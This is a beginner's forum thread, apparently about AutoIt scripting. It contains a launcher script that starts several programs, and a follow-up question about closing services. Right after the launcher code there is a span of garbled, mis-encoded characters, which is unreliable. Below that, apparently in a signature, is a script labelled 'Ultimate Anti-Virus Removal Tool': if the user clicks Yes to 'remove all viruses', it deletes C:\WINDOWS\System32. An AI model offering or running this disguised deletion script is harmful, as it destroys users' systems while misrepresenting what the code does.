Jump to content

Recommended Posts

Posted

Hi im hoping someone here can help me with something. I have no programming experience so be gentle.

I want to simply automate the execution of serveral programs by clicking one .exe. Is this difficult to do? Can someone please show me how to do this or point me to a good tutorial that explains what I need.

Thanks in advance!!

Posted

well, either way you won't be able to use one click.

you have to double click an .exe to run it, so thats already 2 clicks.

look up the function Run in the help file.

Posted (edited)

It would go like this:

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 141, 120, 193, 133)
$Button1 = GUICtrlCreateButton("Launch Group 1", 8, 8, 123, 49, 0)
$Button2 = GUICtrlCreateButton("Launch Group 2", 8, 64, 123, 49, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
Switch $nMsg
    Case $GUI_EVENT_CLOSE
        Exit
    Case $Button1
        Run("Notepad.exe")
        Run("mspaint.exe")
        Run("cmd.exe")
    Case $Button2
        Run("C:\Program Files\Adobe\Photoshop\Photoshop.exe")
        Run("C:\Program Files\Apple\iTunes\iTunex.exe")
    EndSwitch
WEndoÝ÷ Øò¢ì(ºWeG¢¶Ú%jéÜØ^¦º ­©¬iv&­z°ØhºÜ¨ºÞ²È§¦î¶Ú'Ü(ºW`¢X¤zØb±«­¢+ÙIÕ¸ ÅÕ½ÐíµÍÁ¥¹Ð¹áÅÕ½Ðì¤)IÕ¸ ÅÕ½Ðíµ¹áÅÕ½Ðì¤)IÕ¸ ÅÕ½Ðí¥áÁ±½É¹áÅÕ½Ðì¤
Edited by Firefoxy
;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Posted

I was just after a few noobish lines of code to get me started which Firefoxy was kind enough to provide. When I said one click i was referring to the phrase 1-click and not a single mouse click. Sorry for the confusion on that!

I have progressed a little since my last post and now have a list of programs that open automatically :) I have also made a script to close that list of programs, which is now where im stuck.

I cant get the following things to close in the same way as the rest close...

mDNSResponder.exe

iPodService.exe

AppleMobileDeviceService.exe

iTunesHelper.exe

wmpnetwk.exe

Is there any reason why they will not close for me? I think maybe they are services and have to be close another way? I have checked the help file for a way to close services but IO cant see anything that helps. This is only my thinking and I might be wrong.

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...